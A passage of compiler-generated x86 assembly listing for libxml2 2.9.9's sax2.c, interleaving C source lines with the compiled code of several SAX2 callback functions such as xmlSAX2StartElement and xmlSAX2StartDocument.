jmp SHORT $LN16@xmlSAX2Sta $LN14@xmlSAX2Sta: ; 1649 : } else if (parent == NULL) { mov edi, DWORD PTR _parent$1$[ebp] test edi, edi cmove edi, ecx mov DWORD PTR _parent$1$[ebp], edi $LN16@xmlSAX2Sta: ; 1650 : parent = ctxt->myDoc->children; ; 1651 : } ; 1652 : ctxt->nodemem = -1; ; 1653 : if (ctxt->linenumbers) { cmp DWORD PTR [esi+280], 0 mov DWORD PTR [esi+264], -1 je SHORT $LN20@xmlSAX2Sta ; 1654 : if (ctxt->input != NULL) { mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN20@xmlSAX2Sta ; 1655 : if (ctxt->input->line < 65535) mov eax, DWORD PTR [eax+28] cmp eax, 65535 ; 0000ffffH jl SHORT $LN66@xmlSAX2Sta ; 1656 : ret->line = (short) ctxt->input->line; ; 1657 : else ; 1658 : ret->line = 65535; mov eax, 65535 ; 0000ffffH $LN66@xmlSAX2Sta: ; 1659 : } ; 1660 : } ; 1661 : ; 1662 : /* ; 1663 : * We are parsing a new node. ; 1664 : */ ; 1665 : #ifdef DEBUG_SAX_TREE ; 1666 : xmlGenericError(xmlGenericErrorContext, "pushing(%s)\n", name); ; 1667 : #endif ; 1668 : if (nodePush(ctxt, ret) < 0) { mov WORD PTR [ebx+56], ax $LN20@xmlSAX2Sta: push ebx push esi call _nodePush add esp, 8 test eax, eax jns SHORT $LN21@xmlSAX2Sta ; 1669 : xmlUnlinkNode(ret); push ebx call _xmlUnlinkNode ; 1670 : xmlFreeNode(ret); push ebx call _xmlFreeNode add esp, 8 pop ebx pop edi pop esi ; 1792 : ; 1793 : } mov esp, ebp pop ebp ret 0 $LN21@xmlSAX2Sta: ; 1671 : return; ; 1672 : } ; 1673 : ; 1674 : /* ; 1675 : * Link the child element ; 1676 : */ ; 1677 : if (parent != NULL) { test edi, edi je SHORT $LN24@xmlSAX2Sta ; 1678 : if (parent->type == XML_ELEMENT_NODE) { cmp DWORD PTR [edi+4], 1 push ebx push edi jne SHORT $LN23@xmlSAX2Sta ; 1679 : #ifdef DEBUG_SAX_TREE ; 1680 : xmlGenericError(xmlGenericErrorContext, ; 1681 : "adding child %s to %s\n", name, parent->name); ; 1682 : #endif ; 1683 : xmlAddChild(parent, ret); call _xmlAddChild ; 1684 : } else { jmp SHORT $LN67@xmlSAX2Sta $LN23@xmlSAX2Sta: ; 1685 : #ifdef DEBUG_SAX_TREE ; 1686 : xmlGenericError(xmlGenericErrorContext, ; 1687 : "adding sibling %s to ", name); ; 1688 : xmlDebugDumpOneNode(stderr, parent, 0); ; 1689 : #endif ; 1690 : xmlAddSibling(parent, ret); call _xmlAddSibling $LN67@xmlSAX2Sta: ; 1691 : } ; 1692 : } ; 1693 : ; 1694 : /* ; 1695 : * Insert all the defaulted attributes from the DTD especially namespaces ; 1696 : */ ; 1697 : if ((!ctxt->html) && add esp, 8 $LN24@xmlSAX2Sta: cmp DWORD PTR [esi+32], 0 jne SHORT $LN63@xmlSAX2Sta mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+44], 0 jne SHORT $LN26@xmlSAX2Sta cmp DWORD PTR [eax+48], 0 je SHORT $LN63@xmlSAX2Sta $LN26@xmlSAX2Sta: ; 1698 : ((ctxt->myDoc->intSubset != NULL) || ; 1699 : (ctxt->myDoc->extSubset != NULL))) { ; 1700 : xmlCheckDefaultedAttributes(ctxt, name, prefix, atts); mov edi, DWORD PTR _atts$[ebp] push edi push DWORD PTR _prefix$[ebp] push DWORD PTR _name$1$[ebp] push esi call _xmlCheckDefaultedAttributes add esp, 16 ; 00000010H jmp SHORT $LN25@xmlSAX2Sta $LN63@xmlSAX2Sta: ; 1701 : } ; 1702 : ; 1703 : /* ; 1704 : * process all the attributes whose name start with "xmlns" ; 1705 : */ ; 1706 : if (atts != NULL) { mov edi, DWORD PTR _atts$[ebp] $LN25@xmlSAX2Sta: test edi, edi je SHORT $LN60@xmlSAX2Sta ; 1709 : value = atts[i++]; ; 1710 : if (!ctxt->html) { cmp DWORD PTR [esi+32], 0 mov ecx, DWORD PTR [edi+4] jne SHORT $LN60@xmlSAX2Sta ; 1711 : while ((att != NULL) && (value != NULL)) { mov eax, DWORD PTR [edi] test eax, eax je SHORT $LN60@xmlSAX2Sta ; 1707 : i = 0; ; 1708 : att = atts[i++]; add edi, 8 npad 3 $LL2@xmlSAX2Sta: ; 1711 : while ((att != NULL) && (value != NULL)) { test ecx, ecx je SHORT $LN60@xmlSAX2Sta ; 1712 : if ((att[0] == 'x') && (att[1] == 'm') && (att[2] == 'l') && ; 1713 : (att[3] == 'n') && (att[4] == 's')) cmp BYTE PTR [eax], 120 ; 00000078H jne SHORT $LN29@xmlSAX2Sta cmp BYTE PTR [eax+1], 109 ; 0000006dH jne SHORT $LN29@xmlSAX2Sta cmp BYTE PTR [eax+2], 108 ; 0000006cH jne SHORT $LN29@xmlSAX2Sta cmp BYTE PTR [eax+3], 110 ; 0000006eH jne SHORT $LN29@xmlSAX2Sta cmp BYTE PTR [eax+4], 115 ; 00000073H jne SHORT $LN29@xmlSAX2Sta ; 1714 : xmlSAX2AttributeInternal(ctxt, att, value, prefix); push DWORD PTR _prefix$[ebp] push ecx push eax push esi call _xmlSAX2AttributeInternal add esp, 16 ; 00000010H $LN29@xmlSAX2Sta: ; 1715 : ; 1716 : att = atts[i++]; mov eax, DWORD PTR [edi] ; 1717 : value = atts[i++]; mov ecx, DWORD PTR [edi+4] add edi, 8 test eax, eax jne SHORT $LL2@xmlSAX2Sta $LN60@xmlSAX2Sta: ; 1718 : } ; 1719 : } ; 1720 : } ; 1721 : ; 1722 : /* ; 1723 : * Search the namespace, note that since the attributes have been ; 1724 : * processed, the local namespaces are available. ; 1725 : */ ; 1726 : ns = xmlSearchNs(ctxt->myDoc, ret, prefix); push DWORD PTR _prefix$[ebp] push ebx push DWORD PTR [esi+8] call _xmlSearchNs mov edi, eax add esp, 12 ; 0000000cH ; 1727 : if ((ns == NULL) && (parent != NULL)) test edi, edi jne SHORT $LN30@xmlSAX2Sta mov ecx, DWORD PTR _parent$1$[ebp] test ecx, ecx je SHORT $LN30@xmlSAX2Sta ; 1728 : ns = xmlSearchNs(ctxt->myDoc, parent, prefix); push DWORD PTR _prefix$[ebp] push ecx push DWORD PTR [esi+8] call _xmlSearchNs add esp, 12 ; 0000000cH mov edi, eax $LN30@xmlSAX2Sta: ; 1729 : if ((prefix != NULL) && (ns == NULL)) { mov eax, DWORD PTR _prefix$[ebp] test eax, eax je SHORT $LN31@xmlSAX2Sta test edi, edi jne SHORT $LN57@xmlSAX2Sta ; 1730 : ns = xmlNewNs(ret, NULL, prefix); push eax push edi push ebx call _xmlNewNs ; 1731 : xmlNsWarnMsg(ctxt, XML_NS_ERR_UNDEFINED_NAMESPACE, push 0 push DWORD PTR _prefix$[ebp] mov edi, eax push OFFSET ??_C@_0CE@HAGAOPBB@Namespace?5prefix?5?$CFs?5is?5not?5defi@ push 201 ; 000000c9H push esi call _xmlNsWarnMsg add esp, 32 ; 00000020H $LN31@xmlSAX2Sta: ; 1732 : "Namespace prefix %s is not defined\n", ; 1733 : prefix, NULL); ; 1734 : } ; 1735 : ; 1736 : /* ; 1737 : * set the namespace node, making sure that if the default namspace ; 1738 : * is unbound on a parent we simply kee it NULL ; 1739 : */ ; 1740 : if ((ns != NULL) && (ns->href != NULL) && test edi, edi je SHORT $LN32@xmlSAX2Sta $LN57@xmlSAX2Sta: mov eax, DWORD PTR [edi+8] test eax, eax je SHORT $LN32@xmlSAX2Sta cmp BYTE PTR [eax], 0 jne SHORT $LN33@xmlSAX2Sta cmp DWORD PTR [edi+12], 0 je SHORT $LN32@xmlSAX2Sta $LN33@xmlSAX2Sta: ; 1741 : ((ns->href[0] != 0) || (ns->prefix != NULL))) ; 1742 : xmlSetNs(ret, ns); push edi push ebx call _xmlSetNs add esp, 8 $LN32@xmlSAX2Sta: ; 1743 : ; 1744 : /* ; 1745 : * process all the other attributes ; 1746 : */ ; 1747 : if (atts != NULL) { mov edx, DWORD PTR _atts$[ebp] test edx, edx je SHORT $LN61@xmlSAX2Sta ; 1748 : i = 0; ; 1749 : att = atts[i++]; mov eax, DWORD PTR [edx] ; 1750 : value = atts[i++]; mov ecx, DWORD PTR [edx+4] ; 1752 : while (att != NULL) { test eax, eax je SHORT $LN61@xmlSAX2Sta ; 1751 : if (ctxt->html) { cmp DWORD PTR [esi+32], 0 lea edi, DWORD PTR [edx+8] je SHORT $LL6@xmlSAX2Sta npad 2 $LL4@xmlSAX2Sta: ; 1753 : xmlSAX2AttributeInternal(ctxt, att, value, NULL); push 0 push ecx push eax push esi call _xmlSAX2AttributeInternal ; 1754 : att = atts[i++]; mov eax, DWORD PTR [edi] ; 1755 : value = atts[i++]; lea edi, DWORD PTR [edi+8] mov ecx, DWORD PTR [edi-4] add esp, 16 ; 00000010H test eax, eax jne SHORT $LL4@xmlSAX2Sta ; 1756 : } ; 1757 : } else { jmp SHORT $LN61@xmlSAX2Sta npad 5 $LL6@xmlSAX2Sta: ; 1758 : while ((att != NULL) && (value != NULL)) { test ecx, ecx je SHORT $LN61@xmlSAX2Sta ; 1759 : if ((att[0] != 'x') || (att[1] != 'm') || (att[2] != 'l') || ; 1760 : (att[3] != 'n') || (att[4] != 's')) cmp BYTE PTR [eax], 120 ; 00000078H jne SHORT $LN38@xmlSAX2Sta cmp BYTE PTR [eax+1], 109 ; 0000006dH jne SHORT $LN38@xmlSAX2Sta cmp BYTE PTR [eax+2], 108 ; 0000006cH jne SHORT $LN38@xmlSAX2Sta cmp BYTE PTR [eax+3], 110 ; 0000006eH jne SHORT $LN38@xmlSAX2Sta cmp BYTE PTR [eax+4], 115 ; 00000073H je SHORT $LN37@xmlSAX2Sta $LN38@xmlSAX2Sta: ; 1761 : xmlSAX2AttributeInternal(ctxt, att, value, NULL); push 0 push ecx push eax push esi call _xmlSAX2AttributeInternal add esp, 16 ; 00000010H $LN37@xmlSAX2Sta: ; 1762 : ; 1763 : /* ; 1764 : * Next ones ; 1765 : */ ; 1766 : att = atts[i++]; mov eax, DWORD PTR [edi] ; 1767 : value = atts[i++]; mov ecx, DWORD PTR [edi+4] add edi, 8 test eax, eax jne SHORT $LL6@xmlSAX2Sta $LN61@xmlSAX2Sta: ; 1768 : } ; 1769 : } ; 1770 : } ; 1771 : ; 1772 : #ifdef LIBXML_VALID_ENABLED ; 1773 : /* ; 1774 : * If it's the Document root, finish the DTD validation and ; 1775 : * check the document root element for validity ; 1776 : */ ; 1777 : if ((ctxt->validate) && (ctxt->vctxt.finishDtd == XML_CTXT_FINISH_DTD_0)) { cmp DWORD PTR [esi+104], 0 je SHORT $LN39@xmlSAX2Sta cmp DWORD PTR [esi+136], -1412623820 ; abcd1234H jne SHORT $LN39@xmlSAX2Sta ; 1778 : int chk; ; 1779 : ; 1780 : chk = xmlValidateDtdFinal(&ctxt->vctxt, ctxt->myDoc); push DWORD PTR [esi+8] lea edi, DWORD PTR [esi+108] push edi call _xmlValidateDtdFinal add esp, 8 ; 1781 : if (chk <= 0) test eax, eax jg SHORT $LN68@xmlSAX2Sta ; 1782 : ctxt->valid = 0; mov DWORD PTR [esi+100], 0 $LN68@xmlSAX2Sta: ; 1783 : if (chk < 0) jns SHORT $LN41@xmlSAX2Sta ; 1784 : ctxt->wellFormed = 0; mov DWORD PTR [esi+12], 0 $LN41@xmlSAX2Sta: ; 1785 : ctxt->valid &= xmlValidateRoot(&ctxt->vctxt, ctxt->myDoc); push DWORD PTR [esi+8] push edi call _xmlValidateRoot add esp, 8 ; 1786 : ctxt->vctxt.finishDtd = XML_CTXT_FINISH_DTD_1; mov DWORD PTR [esi+136], -1412623819 ; abcd1235H and DWORD PTR [esi+100], eax $LN39@xmlSAX2Sta: ; 1787 : } ; 1788 : #endif /* LIBXML_VALID_ENABLED */ ; 1789 : ; 1790 : if (prefix != NULL) mov eax, DWORD PTR _prefix$[ebp] test eax, eax je SHORT $LN65@xmlSAX2Sta ; 1791 : xmlFree(prefix); push eax call DWORD PTR _xmlFree add esp, 4 $LN65@xmlSAX2Sta: pop ebx $LN64@xmlSAX2Sta: pop edi $LN9@xmlSAX2Sta: pop esi ; 1792 : ; 1793 : } mov esp, ebp pop ebp ret 0 _xmlSAX2StartElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2EndDocument _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2EndDocument PROC ; COMDAT ; 1049 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN6@xmlSAX2End ; 1050 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 1051 : #ifdef DEBUG_SAX ; 1052 : xmlGenericError(xmlGenericErrorContext, ; 1053 : "SAX.xmlSAX2EndDocument()\n"); ; 1054 : #endif ; 1055 : if (ctx == NULL) return; ; 1056 : #ifdef LIBXML_VALID_ENABLED ; 1057 : if (ctxt->validate && ctxt->wellFormed && ; 1058 : ctxt->myDoc && ctxt->myDoc->intSubset) cmp DWORD PTR [esi+104], 0 je SHORT $LN3@xmlSAX2End cmp DWORD PTR [esi+12], 0 je SHORT $LN3@xmlSAX2End mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN3@xmlSAX2End cmp DWORD PTR [eax+44], 0 je SHORT $LN3@xmlSAX2End ; 1059 : ctxt->valid &= xmlValidateDocumentFinal(&ctxt->vctxt, ctxt->myDoc); push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateDocumentFinal add esp, 8 and DWORD PTR [esi+100], eax $LN3@xmlSAX2End: ; 1060 : #endif /* LIBXML_VALID_ENABLED */ ; 1061 : ; 1062 : /* ; 1063 : * Grab the encoding if it was added on-the-fly ; 1064 : */ ; 1065 : if ((ctxt->encoding != NULL) && (ctxt->myDoc != NULL) && mov ecx, DWORD PTR [esi+24] test ecx, ecx je SHORT $LN4@xmlSAX2End mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN4@xmlSAX2End cmp DWORD PTR [eax+60], 0 jne SHORT $LN4@xmlSAX2End ; 1066 : (ctxt->myDoc->encoding == NULL)) { ; 1067 : ctxt->myDoc->encoding = ctxt->encoding; mov DWORD PTR [eax+60], ecx ; 1068 : ctxt->encoding = NULL; mov DWORD PTR [esi+24], 0 $LN4@xmlSAX2End: ; 1069 : } ; 1070 : if ((ctxt->inputTab != NULL) && ; 1071 : (ctxt->inputNr > 0) && (ctxt->inputTab[0] != NULL) && ; 1072 : (ctxt->inputTab[0]->encoding != NULL) && (ctxt->myDoc != NULL) && mov eax, DWORD PTR [esi+48] test eax, eax je SHORT $LN5@xmlSAX2End cmp DWORD PTR [esi+40], 0 jle SHORT $LN5@xmlSAX2End mov eax, DWORD PTR [eax] test eax, eax je SHORT $LN5@xmlSAX2End mov eax, DWORD PTR [eax+44] test eax, eax je SHORT $LN5@xmlSAX2End mov ecx, DWORD PTR [esi+8] test ecx, ecx je SHORT $LN5@xmlSAX2End cmp DWORD PTR [ecx+60], 0 jne SHORT $LN5@xmlSAX2End ; 1073 : (ctxt->myDoc->encoding == NULL)) { ; 1074 : ctxt->myDoc->encoding = xmlStrdup(ctxt->inputTab[0]->encoding); push eax call _xmlStrdup mov ecx, DWORD PTR [esi+8] add esp, 4 mov DWORD PTR [ecx+60], eax $LN5@xmlSAX2End: ; 1075 : } ; 1076 : if ((ctxt->charset != XML_CHAR_ENCODING_NONE) && (ctxt->myDoc != NULL) && mov ecx, DWORD PTR [esi+256] test ecx, ecx je SHORT $LN6@xmlSAX2End mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN6@xmlSAX2End cmp DWORD PTR [eax+76], 0 jne SHORT $LN6@xmlSAX2End ; 1077 : (ctxt->myDoc->charset == XML_CHAR_ENCODING_NONE)) { ; 1078 : ctxt->myDoc->charset = ctxt->charset; mov DWORD PTR [eax+76], ecx $LN6@xmlSAX2End: pop esi ; 1079 : } ; 1080 : } pop ebp ret 0 _xmlSAX2EndDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2StartDocument _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2StartDocument PROC ; COMDAT ; 984 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN14@xmlSAX2Sta ; 985 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 986 : xmlDocPtr doc; ; 987 : ; 988 : if (ctx == NULL) return; ; 989 : ; 990 : #ifdef DEBUG_SAX ; 991 : xmlGenericError(xmlGenericErrorContext, ; 992 : "SAX.xmlSAX2StartDocument()\n"); ; 993 : #endif ; 994 : if (ctxt->html) { cmp DWORD PTR [esi+32], 0 push edi je SHORT $LN3@xmlSAX2Sta ; 995 : #ifdef LIBXML_HTML_ENABLED ; 996 : if (ctxt->myDoc == NULL) mov eax, DWORD PTR [esi+8] test eax, eax jne SHORT $LN18@xmlSAX2Sta ; 997 : ctxt->myDoc = htmlNewDocNoDtD(NULL, NULL); push eax push eax call _htmlNewDocNoDtD add esp, 8 mov DWORD PTR [esi+8], eax ; 998 : if (ctxt->myDoc == NULL) { test eax, eax je $LN7@xmlSAX2Sta $LN18@xmlSAX2Sta: ; 999 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartDocument"); ; 1000 : return; ; 1001 : } ; 1002 : ctxt->myDoc->properties = XML_DOC_HTML; mov DWORD PTR [eax+92], 128 ; 00000080H ; 1003 : ctxt->myDoc->parseFlags = ctxt->options; mov ecx, DWORD PTR [esi+8] mov eax, DWORD PTR [esi+360] mov DWORD PTR [ecx+88], eax ; 1004 : #else ; 1005 : xmlGenericError(xmlGenericErrorContext, ; 1006 : "libxml2 built without HTML support\n"); ; 1007 : ctxt->errNo = XML_ERR_INTERNAL_ERROR; ; 1008 : ctxt->instate = XML_PARSER_EOF; ; 1009 : ctxt->disableSAX = 1; ; 1010 : return; ; 1011 : #endif ; 1012 : } else { jmp SHORT $LN12@xmlSAX2Sta $LN3@xmlSAX2Sta: ; 1013 : doc = ctxt->myDoc = xmlNewDoc(ctxt->version); push DWORD PTR [esi+20] call _xmlNewDoc mov edi, eax add esp, 4 mov DWORD PTR [esi+8], edi ; 1014 : if (doc != NULL) { test edi, edi je $LN7@xmlSAX2Sta ; 1015 : doc->properties = 0; mov DWORD PTR [edi+92], 0 ; 1016 : if (ctxt->options & XML_PARSE_OLD10) mov eax, DWORD PTR [esi+360] test eax, 131072 ; 00020000H je SHORT $LN9@xmlSAX2Sta ; 1017 : doc->properties |= XML_DOC_OLD10; mov DWORD PTR [edi+92], 4 mov eax, DWORD PTR [esi+360] $LN9@xmlSAX2Sta: ; 1018 : doc->parseFlags = ctxt->options; mov DWORD PTR [edi+88], eax ; 1019 : if (ctxt->encoding != NULL) mov eax, DWORD PTR [esi+24] test eax, eax je SHORT $LN10@xmlSAX2Sta ; 1020 : doc->encoding = xmlStrdup(ctxt->encoding); push eax call _xmlStrdup add esp, 4 jmp SHORT $LN11@xmlSAX2Sta $LN10@xmlSAX2Sta: ; 1021 : else ; 1022 : doc->encoding = NULL; xor eax, eax $LN11@xmlSAX2Sta: ; 1023 : doc->standalone = ctxt->standalone; mov DWORD PTR [edi+60], eax mov eax, DWORD PTR [esi+28] mov DWORD PTR [edi+40], eax ; 1026 : return; ; 1027 : } ; 1028 : if ((ctxt->dictNames) && (doc != NULL)) { cmp DWORD PTR [esi+364], 0 je SHORT $LN12@xmlSAX2Sta ; 1029 : doc->dict = ctxt->dict; mov eax, DWORD PTR [esi+296] ; 1030 : xmlDictReference(doc->dict); push eax mov DWORD PTR [edi+80], eax call _xmlDictReference add esp, 4 $LN12@xmlSAX2Sta: ; 1031 : } ; 1032 : } ; 1033 : if ((ctxt->myDoc != NULL) && (ctxt->myDoc->URL == NULL) && ; 1034 : (ctxt->input != NULL) && (ctxt->input->filename != NULL)) { mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN16@xmlSAX2Sta cmp DWORD PTR [eax+72], 0 jne SHORT $LN16@xmlSAX2Sta mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN16@xmlSAX2Sta mov eax, DWORD PTR [eax+4] test eax, eax je SHORT $LN16@xmlSAX2Sta ; 1035 : ctxt->myDoc->URL = xmlPathToURI((const xmlChar *)ctxt->input->filename); push eax call _xmlPathToURI mov ecx, DWORD PTR [esi+8] add esp, 4 mov DWORD PTR [ecx+72], eax ; 1036 : if (ctxt->myDoc->URL == NULL) mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+72], 0 jne SHORT $LN16@xmlSAX2Sta $LN7@xmlSAX2Sta: ; 1024 : } else { ; 1025 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartDocument"); push OFFSET ??_C@_0BF@BOIPPPAK@xmlSAX2StartDocument@ push esi call _xmlSAX2ErrMemory add esp, 8 $LN16@xmlSAX2Sta: pop edi $LN14@xmlSAX2Sta: pop esi ; 1037 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartDocument"); ; 1038 : } ; 1039 : } pop ebp ret 0 _xmlSAX2StartDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2UnparsedEntityDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _publicId$ = 16 ; size = 4 _systemId$ = 20 ; size = 4 _notationName$ = 24 ; size = 4 _xmlSAX2UnparsedEntityDecl PROC ; COMDAT ; 902 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN10@xmlSAX2Unp ; 903 : xmlEntityPtr ent; ; 904 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 905 : if (ctx == NULL) return; ; 906 : #ifdef DEBUG_SAX ; 907 : xmlGenericError(xmlGenericErrorContext, ; 908 : "SAX.xmlSAX2UnparsedEntityDecl(%s, %s, %s, %s)\n", ; 909 : name, publicId, systemId, notationName); ; 910 : #endif ; 911 : if (ctxt->inSubset == 1) { mov eax, DWORD PTR [esi+216] push ebx push edi cmp eax, 1 jne SHORT $LN3@xmlSAX2Unp ; 912 : ent = xmlAddDocEntity(ctxt->myDoc, name, push DWORD PTR _notationName$[ebp] mov edi, DWORD PTR _systemId$[ebp] push edi push DWORD PTR _publicId$[ebp] push 3 push DWORD PTR _name$[ebp] push DWORD PTR [esi+8] call _xmlAddDocEntity mov ebx, eax add esp, 24 ; 00000018H ; 913 : XML_EXTERNAL_GENERAL_UNPARSED_ENTITY, ; 914 : publicId, systemId, notationName); ; 915 : if ((ent == NULL) && (ctxt->pedantic) && ; 916 : (ctxt->sax != NULL) && (ctxt->sax->warning != NULL)) test ebx, ebx jne $LN16@xmlSAX2Unp cmp DWORD PTR [esi+268], eax je $LN20@xmlSAX2Unp mov eax, DWORD PTR [esi] test eax, eax je $LN20@xmlSAX2Unp mov eax, DWORD PTR [eax+84] test eax, eax je $LN20@xmlSAX2Unp ; 917 : ctxt->sax->warning(ctxt->userData, push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DD@GCBFDMPE@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ ; 938 : "Entity(%s) already defined in the external subset\n", name); ; 939 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { ; 940 : xmlChar *URI; ; 941 : const char *base = NULL; ; 942 : ; 943 : if (ctxt->input != NULL) ; 944 : base = ctxt->input->filename; ; 945 : if (base == NULL) ; 946 : base = ctxt->directory; push DWORD PTR [esi+4] call eax add esp, 12 ; 0000000cH pop edi pop ebx pop esi ; 953 : "SAX.xmlSAX2UnparsedEntityDecl(%s) called while not in subset\n", ; 954 : name, NULL); ; 955 : } ; 956 : } pop ebp ret 0 $LN3@xmlSAX2Unp: ; 918 : "Entity(%s) already defined in the internal subset\n", name); ; 919 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { ; 920 : xmlChar *URI; ; 921 : const char *base = NULL; ; 922 : ; 923 : if (ctxt->input != NULL) ; 924 : base = ctxt->input->filename; ; 925 : if (base == NULL) ; 926 : base = ctxt->directory; ; 927 : ; 928 : URI = xmlBuildURI(systemId, (const xmlChar *) base); ; 929 : ent->URI = URI; ; 930 : } ; 931 : } else if (ctxt->inSubset == 2) { cmp eax, 2 jne SHORT $LN9@xmlSAX2Unp ; 932 : ent = xmlAddDtdEntity(ctxt->myDoc, name, push DWORD PTR _notationName$[ebp] mov edi, DWORD PTR _systemId$[ebp] push edi push DWORD PTR _publicId$[ebp] push 3 push DWORD PTR _name$[ebp] push DWORD PTR [esi+8] call _xmlAddDtdEntity mov ebx, eax add esp, 24 ; 00000018H ; 933 : XML_EXTERNAL_GENERAL_UNPARSED_ENTITY, ; 934 : publicId, systemId, notationName); ; 935 : if ((ent == NULL) && (ctxt->pedantic) && ; 936 : (ctxt->sax != NULL) && (ctxt->sax->warning != NULL)) test ebx, ebx jne SHORT $LN16@xmlSAX2Unp cmp DWORD PTR [esi+268], eax je SHORT $LN20@xmlSAX2Unp mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN20@xmlSAX2Unp mov eax, DWORD PTR [eax+84] test eax, eax je SHORT $LN20@xmlSAX2Unp ; 937 : ctxt->sax->warning(ctxt->userData, push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DD@ECLLADNP@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ ; 938 : "Entity(%s) already defined in the external subset\n", name); ; 939 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { ; 940 : xmlChar *URI; ; 941 : const char *base = NULL; ; 942 : ; 943 : if (ctxt->input != NULL) ; 944 : base = ctxt->input->filename; ; 945 : if (base == NULL) ; 946 : base = ctxt->directory; push DWORD PTR [esi+4] call eax add esp, 12 ; 0000000cH pop edi pop ebx pop esi ; 953 : "SAX.xmlSAX2UnparsedEntityDecl(%s) called while not in subset\n", ; 954 : name, NULL); ; 955 : } ; 956 : } pop ebp ret 0 $LN16@xmlSAX2Unp: ; 938 : "Entity(%s) already defined in the external subset\n", name); ; 939 : if ((ent != NULL) && (ent->URI == NULL) && (systemId != NULL)) { ; 940 : xmlChar *URI; ; 941 : const char *base = NULL; ; 942 : ; 943 : if (ctxt->input != NULL) ; 944 : base = ctxt->input->filename; ; 945 : if (base == NULL) ; 946 : base = ctxt->directory; cmp DWORD PTR [ebx+64], 0 jne SHORT $LN20@xmlSAX2Unp test edi, edi je SHORT $LN20@xmlSAX2Unp mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN19@xmlSAX2Unp mov eax, DWORD PTR [eax+4] test eax, eax jne SHORT $LN14@xmlSAX2Unp $LN19@xmlSAX2Unp: mov eax, DWORD PTR [esi+180] $LN14@xmlSAX2Unp: ; 947 : ; 948 : URI = xmlBuildURI(systemId, (const xmlChar *) base); push eax push edi call _xmlBuildURI add esp, 8 ; 949 : ent->URI = URI; mov DWORD PTR [ebx+64], eax pop edi pop ebx pop esi ; 953 : "SAX.xmlSAX2UnparsedEntityDecl(%s) called while not in subset\n", ; 954 : name, NULL); ; 955 : } ; 956 : } pop ebp ret 0 $LN9@xmlSAX2Unp: ; 950 : } ; 951 : } else { ; 952 : xmlFatalErrMsg(ctxt, XML_ERR_INTERNAL_ERROR, push 0 push DWORD PTR _name$[ebp] push OFFSET ??_C@_0DO@IABCNOGI@SAX?4xmlSAX2UnparsedEntityDecl?$CI?$CF@ push 1 push esi call _xmlFatalErrMsg add esp, 20 ; 00000014H $LN20@xmlSAX2Unp: pop edi pop ebx $LN10@xmlSAX2Unp: pop esi ; 953 : "SAX.xmlSAX2UnparsedEntityDecl(%s) called while not in subset\n", ; 954 : name, NULL); ; 955 : } ; 956 : } pop ebp ret 0 _xmlSAX2UnparsedEntityDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2NotationDecl _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _publicId$ = 16 ; size = 4 _systemId$ = 20 ; size = 4 _xmlSAX2NotationDecl PROC ; COMDAT ; 850 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN3@xmlSAX2Not ; 851 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 852 : xmlNotationPtr nota = NULL; ; 853 : ; 854 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN3@xmlSAX2Not ; 855 : return; ; 856 : ; 857 : #ifdef DEBUG_SAX ; 858 : xmlGenericError(xmlGenericErrorContext, ; 859 : "SAX.xmlSAX2NotationDecl(%s, %s, %s)\n", name, publicId, systemId); ; 860 : #endif ; 861 : ; 862 : if ((publicId == NULL) && (systemId == NULL)) { cmp DWORD PTR _publicId$[ebp], 0 mov edx, DWORD PTR _systemId$[ebp] jne SHORT 